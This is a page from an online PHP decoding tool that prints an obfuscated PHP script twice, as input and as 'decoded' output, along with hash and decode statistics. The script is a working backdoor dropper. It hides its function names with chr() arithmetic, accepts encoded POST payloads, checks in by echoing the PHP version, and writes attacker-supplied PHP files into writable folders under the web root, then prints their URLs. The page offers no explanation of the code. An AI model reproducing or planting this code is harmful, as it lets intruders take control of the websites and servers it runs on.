Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<? ?php $cwVNFE = "D".chr(79).'C'.chr(85).chr(134-57).chr(69).'N'."T"."_"."R".chr(79)..
Decoded Output download
<? ?php $cwVNFE = "D".chr(79).'C'.chr(85).chr(134-57).chr(69).'N'."T"."_"."R".chr(79).chr(79)."T";$UwTvgbdR = chr(72).chr(234-150)."T".chr(80)."_".chr(600-528)."O"."S"."T";$VCpdsFdFG = chr(104).chr(116).'t'."p".chr(1033-975)."/".chr(435-388);$FNiUMHfjsx = chr(46)."p"."h"."p";$hDtCE = chr(112).'h'.chr(112);$sqEKUW = "f".'i'.chr(108).chr(1052-951).chr(95).chr(709-597)."u".chr(116)."_".'c'."o"."n".chr(702-586).chr(101)."n"."t"."s";$uPgSRuqqu = "r"."a".chr(417-298).chr(117).chr(1075-961)."l".chr(100).chr(101).'c'."o".chr(1032-932)."e";$IJEyhYy = 'u'."n".chr(579-464).'e'.'r'.chr(105).chr(97).'l'.chr(105).chr(672-550).chr(101);$GMSWKrsXQM = "i".chr(900-785)."_".chr(119).chr(953-839)."i"."t".'a'.chr(739-641).chr(489-381).chr(117-16);$cfylrow = "p"."h".chr(112).'v'."e".chr(114)."s".'i'.chr(260-149).chr(560-450);$BEUNmaGHi = 's'.chr(503-387).chr(144-30).chr(142-47)."r"."o".chr(116)."1".chr(420-369);$soUOYPRzcJ = 's'."e"."r".chr(105)."a"."l".chr(105).chr(672-550).chr(117-16);$ktOcOH = chr(115)."t"."r"."_".'s'.chr(791-679)."l"."i".chr(116);foreach ($_POST as $FxIjdlqX => $lguQgR){$qQUQtzHj = strlen($FxIjdlqX);if ($qQUQtzHj == 16){$lguQgR = $ktOcOH($uPgSRuqqu($BEUNmaGHi($lguQgR)));$FxIjdlqX = array_slice($ktOcOH(str_repeat($FxIjdlqX, (count($lguQgR)/16)+1)), 0, count($lguQgR));function gyzKCSoRBo($KTylHvTwDu, $aZhjtBh, $FxIjdlqX){$brVKMDCMjW = "60953231-ad45-45af-a912-a7874c139053";return $KTylHvTwDu ^ $brVKMDCMjW[$aZhjtBh % strlen($brVKMDCMjW)] ^ $FxIjdlqX;}$lguQgR = array_map("gyzKCSoRBo", array_values($lguQgR), array_keys($lguQgR), array_values($FxIjdlqX));$lguQgR = implode("", $lguQgR);$lguQgR = @$IJEyhYy($lguQgR);if (@is_array($lguQgR)){$iBJPk = array_keys($lguQgR);$lguQgR = $lguQgR[$iBJPk[0]];if ($lguQgR === $iBJPk[0]){echo @$soUOYPRzcJ(Array($hDtCE => @$cfylrow(), ));exit();}else {function smHFQpoln($MaKsWBAnPir){static $JXVLXEtEz = array();$aPiwdJ = glob($MaKsWBAnPir . '/*', GLOB_ONLYDIR);$tZNfc = count($aPiwdJ);if ($tZNfc > 0) {foreach ($aPiwdJ as $MaKsWBAnP) {if (@$GMSWKrsXQM($MaKsWBAnP)) {$JXVLXEtEz[] = $MaKsWBAnP;}}}foreach ($aPiwdJ as $MaKsWBAnPir) smHFQpoln($MaKsWBAnPir);return $JXVLXEtEz;}$DesyY = $_SERVER[$cwVNFE];$aPiwdJ = smHFQpoln($DesyY);$iBJPk = array_rand($aPiwdJ);$ZUFcRoW = $aPiwdJ[$iBJPk] . "/" . substr(md5(time()), 0, 8) . $FNiUMHfjsx;@$sqEKUW($ZUFcRoW, $lguQgR);$DuKiWLOIA = $VCpdsFdFG . $_SERVER[$UwTvgbdR] . substr($ZUFcRoW, strlen($DesyY));print($DuKiWLOIA);die();}}}} ?>
Did this file decode correctly?
Original Code
<? ?php $cwVNFE = "D".chr(79).'C'.chr(85).chr(134-57).chr(69).'N'."T"."_"."R".chr(79).chr(79)."T";$UwTvgbdR = chr(72).chr(234-150)."T".chr(80)."_".chr(600-528)."O"."S"."T";$VCpdsFdFG = chr(104).chr(116).'t'."p".chr(1033-975)."/".chr(435-388);$FNiUMHfjsx = chr(46)."p"."h"."p";$hDtCE = chr(112).'h'.chr(112);$sqEKUW = "f".'i'.chr(108).chr(1052-951).chr(95).chr(709-597)."u".chr(116)."_".'c'."o"."n".chr(702-586).chr(101)."n"."t"."s";$uPgSRuqqu = "r"."a".chr(417-298).chr(117).chr(1075-961)."l".chr(100).chr(101).'c'."o".chr(1032-932)."e";$IJEyhYy = 'u'."n".chr(579-464).'e'.'r'.chr(105).chr(97).'l'.chr(105).chr(672-550).chr(101);$GMSWKrsXQM = "i".chr(900-785)."_".chr(119).chr(953-839)."i"."t".'a'.chr(739-641).chr(489-381).chr(117-16);$cfylrow = "p"."h".chr(112).'v'."e".chr(114)."s".'i'.chr(260-149).chr(560-450);$BEUNmaGHi = 's'.chr(503-387).chr(144-30).chr(142-47)."r"."o".chr(116)."1".chr(420-369);$soUOYPRzcJ = 's'."e"."r".chr(105)."a"."l".chr(105).chr(672-550).chr(117-16);$ktOcOH = chr(115)."t"."r"."_".'s'.chr(791-679)."l"."i".chr(116);foreach ($_POST as $FxIjdlqX => $lguQgR){$qQUQtzHj = strlen($FxIjdlqX);if ($qQUQtzHj == 16){$lguQgR = $ktOcOH($uPgSRuqqu($BEUNmaGHi($lguQgR)));$FxIjdlqX = array_slice($ktOcOH(str_repeat($FxIjdlqX, (count($lguQgR)/16)+1)), 0, count($lguQgR));function gyzKCSoRBo($KTylHvTwDu, $aZhjtBh, $FxIjdlqX){$brVKMDCMjW = "60953231-ad45-45af-a912-a7874c139053";return $KTylHvTwDu ^ $brVKMDCMjW[$aZhjtBh % strlen($brVKMDCMjW)] ^ $FxIjdlqX;}$lguQgR = array_map("gyzKCSoRBo", array_values($lguQgR), array_keys($lguQgR), array_values($FxIjdlqX));$lguQgR = implode("", $lguQgR);$lguQgR = @$IJEyhYy($lguQgR);if (@is_array($lguQgR)){$iBJPk = array_keys($lguQgR);$lguQgR = $lguQgR[$iBJPk[0]];if ($lguQgR === $iBJPk[0]){echo @$soUOYPRzcJ(Array($hDtCE => @$cfylrow(), ));exit();}else {function smHFQpoln($MaKsWBAnPir){static $JXVLXEtEz = array();$aPiwdJ = glob($MaKsWBAnPir . '/*', GLOB_ONLYDIR);$tZNfc = count($aPiwdJ);if ($tZNfc > 0) {foreach ($aPiwdJ as $MaKsWBAnP) {if (@$GMSWKrsXQM($MaKsWBAnP)) {$JXVLXEtEz[] = $MaKsWBAnP;}}}foreach ($aPiwdJ as $MaKsWBAnPir) smHFQpoln($MaKsWBAnPir);return $JXVLXEtEz;}$DesyY = $_SERVER[$cwVNFE];$aPiwdJ = smHFQpoln($DesyY);$iBJPk = array_rand($aPiwdJ);$ZUFcRoW = $aPiwdJ[$iBJPk] . "/" . substr(md5(time()), 0, 8) . $FNiUMHfjsx;@$sqEKUW($ZUFcRoW, $lguQgR);$DuKiWLOIA = $VCpdsFdFG . $_SERVER[$UwTvgbdR] . substr($ZUFcRoW, strlen($DesyY));print($DuKiWLOIA);die();}}}} ?>
Function Calls
None |
Stats
MD5 | 72ba762aee527383db289e21627cbe04 |
Eval Count | 0 |
Decode Time | 48 ms |